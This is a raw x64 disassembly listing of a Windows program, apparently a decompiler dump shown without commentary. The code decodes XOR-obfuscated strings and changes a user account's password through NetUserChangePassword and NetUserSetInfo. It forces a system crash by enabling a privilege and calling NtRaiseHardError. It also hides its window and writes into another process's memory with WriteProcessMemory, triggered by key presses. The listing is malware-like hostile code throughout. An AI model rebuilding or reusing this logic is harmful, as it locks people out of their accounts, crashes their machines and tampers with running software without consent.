mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x58], rax
movabs rdx, 0xafc694c79daa2025
mov qword [rbp + 0x120], rdx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x60], rax
movabs rcx, 0x7bc49e7adec378a6
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x298], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xdb6b85a4f170fbec
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x120], rdx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c8], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm0, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm0
vmovdqu ymm1, ymmword [rbp + 0x2a0]
vpxor ymm0, ymm1, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm0
vmovdqa xmm1, xmmword [rbp + 0x2c0]
vxorps xmm1, xmm1, xmmword [rbp + 0x60]
vmovdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x220]
vzeroupper
call fcn.1400177d0
lea r9, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova r9, qword [rbp + 0x220]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rdx, qword [rbp + 0xc0]
lea r8, [0x14001dbbc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x1400157b1
cmp eax, 5
je 0x14001571a
cmp eax, 0x56
jne 0x14001576d
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rax, qword [rbp + 0x220]
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rdx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x120]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x1400157b1
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x128], 0
mov dword [rbp + 0x160], r14d
lea r9, [rbp + 0x128]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x160]
jmp 0x1400157e8
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x129], 0
mov dword [rbp + 0x130], r14d
lea r9, [rbp + 0x129]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x14001584e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015849
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016bff
call fcn.140019e60
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], 7
mov word [rbp + 0x220], r14w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x1400158ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400158a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016c06
call fcn.140019e60
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 7
mov word [rbp + 0xc0], r14w
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x140015909
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016c0d
call fcn.140019e60
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x14001594a
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015945
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016c0d
call fcn.140019e60
inc edi
mov dword [rbp + 0xb0], edi
movsxd rbx, edi
mov rcx, qword [0x140022c98]
mov rax, rcx
mov rdx, qword [0x140022c90]
sub rax, rdx
sar rax, 6
cmp rbx, rax
jb 0x140014280
mov r8, qword [rbp + 0x198]
cmp r8, 0xf
jbe 0x140016c19
lea rdx, [r8 + 1]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016c14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016c14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, dword [rbp + 0xc4]
add rdi, rax
cmp rdi, qword [rbp + 0xd0]
jb 0x140014fc0
jmp 0x140015a10
mov rcx, rsi
call fcn.140019e60
mov rdx, qword [rbp + 0x220]
add rdx, rdi
je 0x140015a10
mov qword [0x1400229d0], rdx
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rsi, 0x3bbb1710b673a828
movabs rax, 0x2db5068f7bea4917
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x4c34f005f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x4fc87959962e8816
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x840d6c2793b14d20
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc4bb8db957c0c6d2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x240], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x240]
vmovdqa xmmword [rbp + 0xe0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
xor edi, edi
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], rdi
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], dil
jne 0x140015bc3
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140015c2e
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400167e7
call fcn.140019e60
mov qword [rbp + 0x230], rdi
mov edi, 0xf
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0x220], 0
call fcn.140011870
call fcn.140011b10
call fcn.140011d90
call fcn.140012010
movabs rax, 0x2db5068f7bea4917
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x4c34f005f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x4fc87959962e8816
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x840d6c2793b14d20
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc4bb8db954c0c6d2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x240], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x240]
vmovdqa xmmword [rbp + 0xe0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
xor eax, eax
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rax
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140015e05
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140015e71
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400167e7
call fcn.140019e60
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0x220], 0
mov r9d, 0x10
lea r8, [0x14001dd28]
mov rdx, rbx
lea rcx, [rbp + 0x260]
call fcn.14000e880
mov rdx, rax
lea rcx, [0x1400229f8]
call fcn.140017460
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x140015f1a
mov rax, qword [rbp + 0x270]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015eff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015eff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], 0
mov r9d, 0x10
lea r8, [0x14001dc18]
mov rdx, rbx
lea rcx, [rbp + 0x260]
call fcn.14000e880
mov rdx, rax
lea rcx, [0x140022ad8]
call fcn.140017460
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x140015faa
mov rax, qword [rbp + 0x270]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015f8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015f8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], 0
mov r9d, 0xa
lea r8, [0x14001dcf8]
mov rdx, rbx
lea rcx, [rbp + 0x260]
call fcn.14000e880
mov rdx, rax
lea rcx, [0x140022a10]
call fcn.140017460
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x14001603a
mov rax, qword [rbp + 0x270]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001601f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001601f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], 0
lea rax, [0x14001dd48]
mov qword [0x1400229c8], rax
lea rax, [0x14001dc28]
mov qword [0x1400229e8], rax
lea rax, [0x14001dd58]
mov qword [0x1400229e0], rax
lea rax, [0x14001dc2c]
mov qword [0x1400229d8], rax
lea rax, [0x14001dd18]
mov qword [0x1400229f0], rax
lea rax, [0x14001dc30]
mov qword [0x1400229c0], rax
movabs rax, 0x2db5068f7bea4917
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x4c34f005f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x4fc87959962e8816
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x840d6c2793b14d20
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc4bb8db955c0c6d2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x240], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x240]
vxorps xmm0, xmm0, xmmword [rbp + 0xe0]
vmovdqa xmmword [rbp + 0xe0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
xor eax, eax
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rax
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016240
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400162ac
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400162a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400167e7
call fcn.140019e60
xor ecx, ecx
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0x220], cl
movabs rax, 0x2db5068f7bea4917
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x3a348b05f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x4ee8374d964d8508
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x9c392a3085b84222
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xe4ced1cf46c1859e
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
movabs rax, 0xb367d8c9c6d01170
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf0], rax
movabs rax, 0xdb6b858a861fb5cc
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x240], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x248], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x250], rax
movabs rax, 0xdb6b85a4f170fbec
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0xe0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rcx
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], cl
jne 0x1400164e5
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140016550
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001654b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400167e7
call fcn.140019e60
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0x220], 0
movabs rax, 0x2db5068f7bea4917
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x3a348b05f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x57eb374d964d8508
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x953e1c6393ae4024
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xa1cfd0d341c08f81
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
movabs rax, 0xca06b499e69e5741
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf0], rax
movabs rcx, 0xdb6b85a4f170fbec
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x240], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x248], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0xe0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
xor r15d, r15d
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], r15b
jne 0x140016785
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400167f3
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400167ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400167ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e60
mov edx, 1
mov r8d, 0xffffffff
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov edx, 0x64
mov ecx, 0x14a
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x14a
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x14a
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x106
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x14a
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0x188
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x64
mov ecx, 0xc4
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x129], 1
mov byte [rbp + 0x128], 1
mov ecx, 0x10
call fcn.140019e68
lea rcx, [rbp + 0x129]
mov qword [rax], rcx
lea rcx, [0x1400117d0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x1a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140019d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1a0], rax
test rax, rax
je 0x140016be5
mov ecx, 0x10
call fcn.140019e68
lea rcx, [rbp + 0x128]
mov qword [rax], rcx
lea rcx, [0x14000f850]
mov qword [rax + 8], rcx
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140019d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x140016bd2
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x140016b27
nop dword [rax + rax]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140016b13
mov qword [rsp + 0x20], r15
mov r9d, 0xa
lea r8, [0x14001dc50]
mov rdx, qword [0x1400229d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, qword [0x1400229e8]
mov rsi, qword [0x140022a00]
mov rdi, qword [0x1400229f8]
cmp rdi, rsi
je 0x140016a23
mov qword [rsp + 0x20], r15
mov r9d, 8
mov r8, r14
mov rdx, qword [rdi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rdi, 8
cmp rdi, rsi
jne 0x140016a00
mov r14, qword [0x1400229d8]
mov rsi, qword [0x140022ae0]
mov rdi, qword [0x140022ad8]
cmp rdi, rsi
je 0x140016a63
nop dword [rax]
mov qword [rsp + 0x20], r15
mov r9d, 8
mov r8, r14
mov rdx, qword [rdi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rdi, 8
cmp rdi, rsi
jne 0x140016a40
mov ecx, 0x2b2
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], r15
mov r9d, 0xa
lea r8, [0x14001dcb8]
mov rdx, qword [0x1400229d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, qword [0x1400229c8]
mov rsi, qword [0x140022a00]
